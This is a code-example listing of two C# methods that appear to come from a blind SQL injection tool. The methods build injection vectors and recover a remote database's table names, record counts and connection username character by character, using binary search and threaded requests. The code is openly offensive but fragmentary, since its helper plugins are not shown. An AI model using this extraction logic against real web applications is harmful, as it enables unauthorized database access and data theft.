コード例 #1
0
		private GlobalDS.Table RetrieveTable(long TableID)
		{
			GlobalDS.Table RetVal = new GlobalDS.Table();
			StringBuilder NameBuilder = new StringBuilder();

			StringBuilder CurrentVector = new StringBuilder();
			CurrentVector.Append(_VectorBuffer);
			CurrentVector.Append(_PluginData.AndGreaterThanWrapper(_PluginData.TableNameLength(TableID)));

			long Size = RecursiveSearch(1,0,CurrentVector.ToString());

			lock(this)
			{

				UnsafeCharArray = new char[Size];
				CharsLeft = Size;
				Thread.Sleep(1000); 
				WaitCallback myCallback = new WaitCallback (ThreadedRecursiveCharacterSearch); 	

				for (long AscCounter = 1; AscCounter <= Size; AscCounter++)
				{
					CurrentVector = new StringBuilder();
					CurrentVector.Append(_VectorBuffer);
					CurrentVector.Append(_PluginData.AndGreaterThanWrapper(_PluginData.TableNameCharacterValue(AscCounter, TableID)));
					if (_Options.Throttle >= 0)
					{
						Thread.Sleep(1000); 
						NameBuilder.Append(Convert.ToChar(RecursiveSearch(1, UNICODE_LIMIT, CurrentVector.ToString())));
					}
					else
					{
						ThreadedText ttx = new ThreadedText((int)AscCounter - 1, CurrentVector.ToString());
						ThreadPool.QueueUserWorkItem (myCallback, ttx); 
					}
				}	


				CurrentVector = new StringBuilder();
				CurrentVector.Append(_VectorBuffer);
				CurrentVector.Append(_PluginData.AndGreaterThanWrapper(_PluginData.NumberOfRecords(NameBuilder.ToString())));

				long TableRecordCount = RecursiveSearch(1,0, CurrentVector.ToString());


				RetVal.ObjectID = TableID;
				RetVal.RecordCount = TableRecordCount;

				//			RetrievePrimaryKey(TableID);
				string TableName;

				if (_Options.Throttle >= 0)
				{
					TableName = NameBuilder.ToString();
				}
				else
				{
					while(CharsLeft > 0) 
					{
						Thread.Sleep(1000); 
					}
					TableName = new String(UnsafeCharArray);
				}

				RetVal.Name = TableName;

			}

			return RetVal;
		}
コード例 #2
0
		///<summary>Queries the remote database for the username making the connections.</summary>
		///<returns>The current database user the web application is connecting as.</returns>
		public string GetDatabaseUsername()
		{
			StringBuilder CurrentVector = new StringBuilder();
			string retVal = null;

			UserStatus("Plugged in with: " + _PluginData.PluginDisplayTargetName);
			UserStatus("I know the buffer is supposed to be [" + _VectorBuffer + "]");

			CurrentVector.Append(_VectorBuffer);
			UserStatus(_PluginData.SelectDatabaseUsernameLength());
			CurrentVector.Append(_PluginData.AndGreaterThanWrapper(_PluginData.SelectDatabaseUsernameLength()));


			// TODO: Catch bunk page exception
			long Size = RecursiveSearch(1,0,CurrentVector.ToString());

			UserStatus(String.Format("Decided the username size was: {0}", Size));

			lock(this)
			{
				StringBuilder uname = new StringBuilder();
				UnsafeCharArray = new char[(int) Size];
				CharsLeft = Size;
				WaitCallback myCallback = new WaitCallback (ThreadedRecursiveCharacterSearch); 	

				for (long AscCounter = 1; AscCounter <= Size; AscCounter++)
				{
					CurrentVector = new StringBuilder();
					CurrentVector.Append(_VectorBuffer);
					CurrentVector.Append(_PluginData.AndGreaterThanWrapper(_PluginData.SelectCharacterFromDatabaseUsername(AscCounter)));

					if (_Options.Throttle >= 0)
					{
						long CharVal = RecursiveSearch(1, UNICODE_LIMIT, CurrentVector.ToString());

						uname.Append(Convert.ToChar(CharVal));
						UserStatus(System.String.Format("Currently, the username is: {0}", uname.ToString()));
					}
					else
					{
						UserStatus("Threaded!");
						ThreadedText ttx = new ThreadedText((int)AscCounter - 1, CurrentVector.ToString());
						ThreadPool.QueueUserWorkItem (myCallback, ttx); 
					}
				}	

				if (_Options.Throttle >= 0)
				{
					return uname.ToString();
				}
				else
				{ 
					while(CharsLeft > 0) 
					{
						UserStatus(String.Format("3Oh no! {0} Chars Left in {1}", CharsLeft, new String(UnsafeCharArray)));
						Thread.Sleep(10); 
					}
				}
			
				retVal = new String(UnsafeCharArray);
			}
			return retVal;
		}